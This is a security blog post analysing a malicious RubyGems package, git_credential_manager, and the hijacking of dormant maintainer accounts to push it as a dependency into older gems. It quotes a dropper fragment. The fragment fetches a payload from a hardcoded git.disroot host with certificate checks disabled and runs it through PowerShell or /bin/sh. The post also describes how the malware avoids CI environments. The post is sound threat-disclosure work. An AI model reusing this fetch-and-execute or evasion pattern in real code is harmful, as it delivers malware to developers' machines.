It's not often we see a supply chain attack on RubyGems. But with summer vacations in full swing, perhaps we should have expected one. It was still a surprise when I opened the triage queue this morning and found a suspicious new package waiting.
A brand-new gem called git_credential_manager had four versions published in rapid succession. At first glance, all it appeared to do was download some binaries from a host I'd never seen before. Surely that couldn't be malicious... right?
Random binaries
The package immediately stood out because it simply downloaded binaries from a Git repository hosted at https://git.disroot[.]org/git-ecosystem/.

git.disroot[.]org is a public Forgejo instance where anyone can create repositories. Someone had conveniently registered the username git-ecosystem, making the project look just legitimate enough to avoid immediate suspicion.
Inside the repository was nothing more than binaries, some zipped up. When we submitted one of them to VirusTotal, antivirus vendors wasted no time flagging it as malicious.
What has the world come to if we can't even trust the "Git Ecosystem"? /s
Not exactly subtle, once you look
Pulling the four versions apart, you can watch the delivery mechanism get built in real time over about nine hours, in two sittings.
Version 2.8.0 was already a fully working dropper on day one: build a URL against that hardcoded Forgejo host, fetch it with certificate verification explicitly switched off, and hand the payload straight to a shell or PowerShell:
def base_url
"https://git.disroot.org/git-ecosystem/#{product}/raw/branch/main"
end
http.verify_mode = OpenSSL::SSL::VERIFY_NONE # Disable SSL verificationif goos == "windows"
Process.spawn("powershell -ExecutionPolicy bypass \"#{full_path}\"")
else
Process.spawn("/bin/sh \"#{full_path}\"")
end
Version 2.8.1, 24 minutes later, changed exactly one thing: it piped the Unix execution's output to /dev/null. No new capability, just a quieter one. Someone was watching their own malware's console output and decided it was too noisy.
Then there's an eight-hour gap, presumably for sleep, before version 2.8.2 shows up the next morning with the actual escalation: the installer gets wired directly into the gem's load path, so that merely require-ing git_credential_manager (not installing a binary, not running anything explicitly, just loading the library) is enough to kick the whole thing off. And in that same release, the line that fires the downloaded script is commented out. Seventeen minutes later, version 2.8.3 uncomments it. One character, functionally, and the dropper goes from staged to live.
There's also a skip_install? check that scans for roughly 30 environment variables belonging to CI platforms, GitHub Actions, GitLab CI, CircleCI, Travis, Jenkins, Vercel, and does nothing if it spots one. This was built to avoid build servers on purpose. It wants developer laptops, not disposable CI runners.
Other compromised packages
Next, I looked at the publisher's account and noticed they maintained several other gems. Some hadn't been updated since 2019, while others had suddenly received fresh releases yesterday and today.
The most notable was Dendreo, first published in 2017. Around the same time as git_credential_manager, two new versions appeared. Unsurprisingly, the attacker had added git_credential_manager as a dependency, allowing the malicious payload to spread to existing users.

More concerning still, the attacker also published a new version of fastlane-plugin-run_tests_firebase_testlab, a completely unrelated project with 574,661 total downloads. Unlike the other compromised gems, this one belonged to an entirely different maintainer, suggesting the compromise extended beyond a single account.

The actual lesson here
We've covered plenty of npm and PyPI incidents shaped like this one. RubyGems has mostly sat that trend out, and we couldn't find a prior case of two unrelated, long-dormant maintainer accounts reactivated within hours of each other to push the same dependency into gems people already trusted. As far as we can tell, this is RubyGems' first real taste of what npm and PyPI have dealt with for more than a year now.
A RubyGems account that has gone quiet for six or seven years doesn't look risky to anyone. That's exactly the profile worth taking over. That's where the SleeperGem name comes from: not a planted, long-game attacker asset, but a real, ordinary account that had simply gone dormant, and looked harmless enough to hijack without anyone noticing.
Two accounts down so far, on a registry that had mostly avoided this until now. Let’s hope this doesn’t turn into a trend.

